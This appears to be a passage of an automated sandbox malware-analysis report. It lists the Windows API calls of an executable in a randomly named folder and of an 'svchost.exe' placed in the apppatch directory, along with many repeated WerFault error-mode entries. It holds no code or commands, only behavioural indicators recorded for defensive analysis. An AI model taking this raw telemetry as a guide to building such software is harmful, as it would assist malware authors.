Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_0174BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,6_2_0174BE40
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_0310C380 GetWindowLongA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetWindowLongA,SetWindowTextA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetClassLongA,SetClassLongA,SendMessageA,SendMessageA,GetObjectA,CreateFontIndirectA,SendMessageA,GetWindow,GetWindow,GetWindow,GetWindowInfo,GetWindowRect,SetWindowPos,GetClientRect,MoveWindow,CreateWindowExA,SetWindowLongA,GetClassLongA,SetClassLongA,GetWindowTextLengthA,HeapAlloc,SetWindowLongA,SendMessageA,GetWindowThreadProcessId,GetClassLongA,GetClassLongA,GetClassLongA,LoadIconA,SendMessageA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetWindow,IsIconic,ShowWindow,WaitForSingleObject,ReleaseMutex,PostMessageA,GetDlgItem,GetWindowLongA,WaitForSingleObject,ReleaseMutex,GetDlgItem,GetWindowLongA,DeleteObject,HeapFree,DestroyWindow,EndDialog,7_2_0310C380
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_0310C069 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,7_2_0310C069
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_0310C069 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,7_2_0310C069
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_03108F20 IsWindow,IsWindowVisible,IsIconic,GetLastActivePopup,7_2_03108F20
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_0310BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,7_2_0310BE40
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_0310BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,7_2_0310BE40
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_0310BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,7_2_0310BE40
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_0310BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,7_2_0310BE40
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_0310BDD0 IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,7_2_0310BDD0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0152C069 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,10_2_0152C069
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0152C069 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,10_2_0152C069
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0152C380 GetWindowLongA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetWindowLongA,SetWindowTextA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetClassLongA,SetClassLongA,SendMessageA,SendMessageA,GetObjectA,CreateFontIndirectA,SendMessageA,GetWindow,GetWindow,GetWindow,GetWindowInfo,GetWindowRect,SetWindowPos,GetClientRect,MoveWindow,CreateWindowExA,SetWindowLongA,GetClassLongA,SetClassLongA,GetWindowTextLengthA,HeapAlloc,SetWindowLongA,SendMessageA,GetWindowThreadProcessId,GetClassLongA,GetClassLongA,GetClassLongA,LoadIconA,SendMessageA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetWindow,IsIconic,ShowWindow,WaitForSingleObject,ReleaseMutex,PostMessageA,GetDlgItem,GetWindowLongA,WaitForSingleObject,ReleaseMutex,GetDlgItem,GetWindowLongA,DeleteObject,HeapFree,DestroyWindow,EndDialog,10_2_0152C380
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0152BDD0 IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,10_2_0152BDD0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_01528F20 IsWindow,IsWindowVisible,IsIconic,GetLastActivePopup,10_2_01528F20
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0152BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,10_2_0152BE40
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0152BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,10_2_0152BE40
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0152BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,10_2_0152BE40
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0152BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,10_2_0152BE40
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C844F0 GetModuleHandleA,StrStrIA,GetProcAddress,memset,GetModuleFileNameA,AddVectoredExceptionHandler,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,InitializeCriticalSection,InitializeCriticalSection,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetUserObjectInformationA,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,LoadLibraryExA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,StrStrIA,StrStrIA,StrStrIA,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,2_2_02C844F0
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
